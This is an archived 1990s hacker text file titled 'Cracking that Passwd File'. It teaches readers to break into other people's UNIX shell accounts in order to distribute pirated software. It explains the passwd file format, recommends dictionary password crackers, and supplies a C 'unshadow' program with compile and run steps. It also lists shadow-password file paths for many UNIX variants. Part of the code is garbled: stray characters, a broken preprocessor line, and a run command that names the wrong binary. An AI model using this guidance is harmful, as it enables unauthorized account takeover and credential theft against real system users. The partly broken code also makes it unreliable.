home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / library / hack / unixpw.txt < prev    next >
Text File  |  1998-03-25  |  17KB  |  220 lines

  1. +----------------------------------------------------------------------------+
  2. ª    Author(s): ª Krypto                                                     ª
  3. +---------------+------------------------------------------------------------ª
  4. ª      Subject: ª Cracking that "Passwd" File                                ª
  5. +----------------------------------------------------------------------------+
  6. ______________________________________________________________________________
  7. ______________________________________________________________________________
  8. +----------------------------------------------------------------------------+
  9. ª       R  E  A  L  I  T  Y     C  H  E  C  K     N  E  T  W  O  R  K!       ª
  10. +----------------------------------------------------------------------------ª
  11. ª____________________________________________________________________________ª
  12. ª____________________________________________________________________________ª
  13. +----------------------------------------------------------------------------ª
  14. ª                                                                            ª
  15. ª      I'm not an amazing "3l33t3" hacker, but I have picked up some things  ª
  16. ª  over the course of my scene life.                                         ª
  17. ª                                                                            ª
  18. ª      At times, many of us are without Internet shell account, therefore    ª
  19. ª  inhibiting our ablility to spread the warez.  Many of us seek to remedy   ª
  20. ª  this by cracking Internet shell accounts and doing as we please with      ª
  21. ª  them, mainly spreading.  Here, I'll show you the basic process in         ª
  22. ª  cracking UNIX accounts so that you can better your efforts in spreading   ª
  23. ª  them warez.                                                               ª
  24. ª                                                                            ª
  25. ª      Most Internet shells are UNIX based and therefore store the password  ª
  26. ª  to all the users in a file called the "passwd" file.  This is usually     ª
  27. ª  located at /etc/passwd.  The basic structure of the passwd file contains  ª
  28. ª  lines looking like this:                                                  ª
  29. ª                                                                            ª
  30. ª      bgates:VKa0XuF8KB4sc:5604:12:William Gates:/home/bgates:/bin/bash     ª
  31. ª                                                                            ª
  32. ª      Essentially, the line is broken down into these parts:                ª
  33. ª                                                                            ª
  34. ª  Username: bgates                                                          ª
  35. ª  Encrypted Password: VKa0XuF8KB4sc                                         ª
  36. ª  User number: 5604                                                         ª
  37. ª  Group Number: 12                                                          ª
  38. ª  Real Name (usually): William Gates                                        ª
  39. ª  Home Directory: /home/bgates                                              ª
  40. ª  Type of Shell: /bin/bash                                                  ª
  41. ª                                                                            ª
  42. ª      Your main concern is to crack each encrypted password for every       ª
  43. ª  user.  Because the encryption function is only unidirectional, you        ª
  44. ª  cannot decrypt the encrypted password.  You must run a cracking program   ª
  45. ª  which encrypts words then compares the encrypted word with the password.  ª
  46. ª  If they match you now have cracked the password.                          ª
  47. ª                                                                            ª
  48. ª      Because cracking relies on words that are encrypted, you MUST have a  ª
  49. ª  wordlist.  For beginners, a basic wordlist can be found as a dictionary   ª
  50. ª  file supplied as a part of UNIX.  The more the comprehensive the          ª
  51. ª  wordlist is, the better your chances of successfully cracking passwords.  ª
  52. ª  Next, you'll need a passwd cracker, which comes under numerous versions   ª
  53. ª  depending on your operating system.  Currently the best are:              ª
  54. ª                                                                            ª
  55. ª  Software            Operating System                                      ª
  56. ª  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                                      ª
  57. ª  CrackerJack v1.4    DOS                                                   ª
  58. ª  Crack               UNIX                                                  ª
  59. ª                                                                            ª
  60. ª      Run the "cracking" program and feed your wordlist and passwd file     ª
  61. ª  into the program.  And watch as it "cracks" the passwords.                ª
  62. ª                                                                            ª
  63. ª      Sometimes you'll discover that the passwd file is incomplete or       ª
  64. ª  looks something like this:                                                ª
  65. ª                                                                            ª
  66. ª      bgates:*:5604:12:William Gates:/home/bgates:/bin/bash                 ª
  67. ª                                                                            ª
  68. ª      The * is called the token and means that the passwd file has been     ª
  69. ª  shadowed.  Password shadowing is a security system where the encrypted    ª
  70. ª  password field of /etc/passwd is replaced with a special token and the    ª
  71. ª  encrypted password is stored in a separate file which is not readable by  ª
  72. ª  normal system users.                                                      ª
  73. ª                                                                            ª
  74. ª      In order to defeat this, you'll need to write a C program and         ª
  75. ª  compile it similar to this:                                               ª
  76. ª                                                                            ª
  77. ª      Cut out the program at the bottom and save as "shadow.c"              ª
  78. ª                                                                            ª
  79. ª      Run "gcc shadow.c -o shadow" or "cc shadow.c -o shadow"               ª
  80. ª                                                                            ª
  81. ª      Run "./shadowpw >> password"                                          ª
  82. ª                                                                            ª
  83. ª      "password" should be your deshadowed password list.                   ª
  84. ª                                                                            ª
  85. ª      If you have any problems, or need any help whatsoever... DO NOT       ª
  86. ª  CONTACT ME!                                                               ª
  87. ª                                                                            ª
  88. +----------------------------------------------------------------------------ª
  89. ª                                                                            ª
  90. ª  Sample Unshadow Program                                                   ª
  91. ª  ~~~~~~~~~~~~~~~~~~~~~~~                                                   ª
  92. ª                                                                            ª
  93. ª   struct  SHADOWPW {     /* see getpwent(3) */                             ª
  94. ª     char *pw_name;                                                         ª
  95. ª     char *pw_passwd;                                                       ª
  96. ª     int  pw_uid;                                                           ª
  97. ª     int  pw_gid;                                                           ª
  98. ª     int  pw_quota;                                                         ª
  99. ª     char *pw_comment;                                                      ª
  100. ª     char *pw_gecos;                                                        ª
  101. ª     char *pw_dir;                                                          ª
  102. ª     char *pw_shell;                                                        ª
  103. ª   };                                                                       ª
  104. ª   struct passwd *getpwent(), *getpwuid(), *getpwnam();                     ª
  105. ª                                                                            ª
  106. ª   #ifdef   elxsis?                                                         ª
  107. ª                                                                            ª
  108. ª   /* Name of the shadow password file. Contains password and aging info *  ª
  109. ª                                                                            ª
  110. ª   #define  SHADOWPW "/etc/shadowpw"                                        ª
  111. ª   #define  SHADOWPW_PAG "/etc/shadowpw.pag"                                ª
  112. ª   #define  SHADOWPW_DIR "/etc/shadowpw.dir"                                ª
  113. ª   /*                                                                       ª
  114. ª    *  Shadow password file pwd->pw_gecos field contains:                   ª
  115. ª    *                                                                       ª
  116. ª    *  <type>,<period>,<last_time>,<old_time>,<old_password>                ª
  117. ª    *                                                                       ª
  118. ª    *  <type>  = Type of password criteria to enforce (type int).           ª
  119. ª    *  BSD_CRIT (0), normal BSD.                                            ª
  120. ª    *  STR_CRIT (1), strong passwords.                                      ª
  121. ª    *  <period>  = Password aging period (type long).                       ª
  122. ª    *  0, no aging.                                                         ª
  123. ª    *  else, number of seconds in aging period.                             ª
  124. ª    *  <last_time>     = Time (seconds from epoch) of the last password        ª
  125. ª    *  change (type long).                                                  ª
  126. ª    *  0, never changed.n                                                   ª
  127. ª    *  <old_time>  = Time (seconds from epoch) that the current password    ª
  128. ª    *  was made the <old_password> (type long).                             ª
  129. ª    *  0, never changed.ewromsinm                                           ª
  130. ª    *  <old_password> = Password (encrypted) saved for an aging <period> t  ª
  131. ª    *  prevent reuse during that period (type char [20]).                   ª
  132. ª    *  "*******", no <old_password>.                                        ª
  133. ª    */                                                                      ª
  134. ª                                                                            ª
  135. ª   /* number of tries to change an aged password */                         ª
  136. ª                                                                            ª
  137. ª   #define  CHANGE_TRIES 3                                                  ª
  138. ª                                                                            ª
  139. ª   /* program to execute to change passwords */                             ª
  140. ª                                                                            ª
  141. ª   #define  PASSWD_PROG "/bin/passwd"                                       ª
  142. ª                                                                            ª
  143. ª   /* Name of the password aging exempt user names and max number of entir  ª
  144. ª                                                                            ª
  145. ª   #define  EXEMPTPW "/etc/exemptpw"                                        ª
  146. ª   #define MAX_EXEMPT 100                                                   ª
  147. ª                                                                            ª
  148. ª                                                                            ª
  149. ª   /* Password criteria to enforce */                                       ª
  150. ª                                                                            ª
  151. ª   #define BSD_CRIT 0 /* Normal BSD password criteria */                    ª
  152. ª   #define STR_CRIT 1  /* Strong password criteria */                       ª
  153. ª   #define MAX_CRIT 1                                                       ª
  154. ª   #endif   elxsi                                                           ª
  155. ª   #define NULL 0                                                           ª
  156. ª   main()                                                                   ª
  157. ª   {                                                                        ª
  158. ª   struct passwd *p;                                                        ª
  159. ª   int i;                                                                   ª
  160. ª   for (;1;) {;                                                             ª
  161. ª     p=getpwent();                                                          ª
  162. ª     if (p==NULL) return;                                                   ª
  163. ª     printpw(p);                                                            ª
  164. ª   }                                                                        ª
  165. ª   }                                                                        ª
  166. ª                                                                            ª
  167. ª   printpw(a)                                                               ª
  168. ª   struct SHADOWPW *a;                                                      ª
  169. ª   {                                                                        ª
  170. ª   printf("%s:%s:%d:%d:%s:%s:%s\n",                                         ª
  171. ª      a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,                          ª
  172. ª      a->pw_gecos,a->pw_dir,a->pw_shell);                                   ª
  173. ª   }                                                                        ª
  174. ª                                                                            ª
  175. ª   /* SunOS 5.0  /etc/shadow */                                             ª
  176. ª   /* SunOS4.1+c2     /etc/security/passwd.adjunct */                       ª
  177. ª                                                                            ª
  178. +----------------------------------------------------------------------------ª
  179. ª                                                                            ª
  180. ª      The passwd file is located in the following pathes for each system.   ª
  181. ª  To determine your UNIX system type, enter the following during the UNIX   ª
  182. ª  prompt:                                                                   ª
  183. ª                                                                            ª
  184. ª      uname -a                                                              ª
  185. ª                                                                            ª
  186. ª  UNIX Paths (Courtesy of 2600)                                             ª
  187. ª                                                                            ª
  188. ª  UNIX                  Path                            Token               ª
  189. ª  -----------------------------------------------------------------         ª
  190. ª  AIX 3                 /etc/security/passwd            !                   ª
  191. ª         or             /tcb/auth/files/<first letter   #                   ª
  192. ª                              of username>/<username>                       ª
  193. ª  A/UX 3.0s             /tcb/files/auth/?/*                                 ª
  194. ª  BSD4.3-Reno           /etc/master.passwd              *                   ª
  195. ª  ConvexOS 10           /etc/shadpw                     *                   ª
  196. ª  ConvexOS 11           /etc/shadow                     *                   ª
  197. ª  DG/UX                 /etc/tcb/aa/user/               *                   ª
  198. ª  EP/IX                 /etc/shadow                     x                   ª
  199. ª  HP-UX                 /.secure/etc/passwd             *                   ª
  200. ª  IRIX 5                /etc/shadow                     x                   ª
  201. ª  Linux 1.1             /etc/shadow                     *                   ª
  202. ª  OSF/1                 /etc/passwd[.dir|.pag]          *                   ª
  203. ª  SCO Unix #.2.x        /tcb/auth/files/<first letter   *                   ª
  204. ª                               of username>/<username>                      ª
  205. ª  SunOS4.1+c2           /etc/security/passwd.adjunct    ##username          ª
  206. ª  SunOS 5.0             /etc/shadow                                         ª
  207. ª                        <optional NIS+ private secure maps/tables/whatever  ª
  208. ª  System V Release 4.0  /etc/shadow                     x                   ª
  209. ª  System V Release 4.2  /etc/security/* database                            ª
  210. ª  Ultrix 4              /etc/auth[.dir|.pag]            *                   ª
  211. ª  UNICOS                /etc/udb                        *                   ª
  212. ª                                                                            ª
  213. ª      Well secure systems with shadowed passwords will cause a              ª
  214. ª  segmentation fault once you've run that sample program.  Remember, don't  ª
  215. ª  come bugging me on IRC if your little hacking escapade doesn't turn out   ª
  216. ª  like you wanted it to.  Well, that's all for now, enjoy your newly        ª
  217. ª  hacked UNIX accounts and spread them warez.                               ª
  218. ª                                                                            ª
  219. +----------------------------------------------------------------------------ª
  220.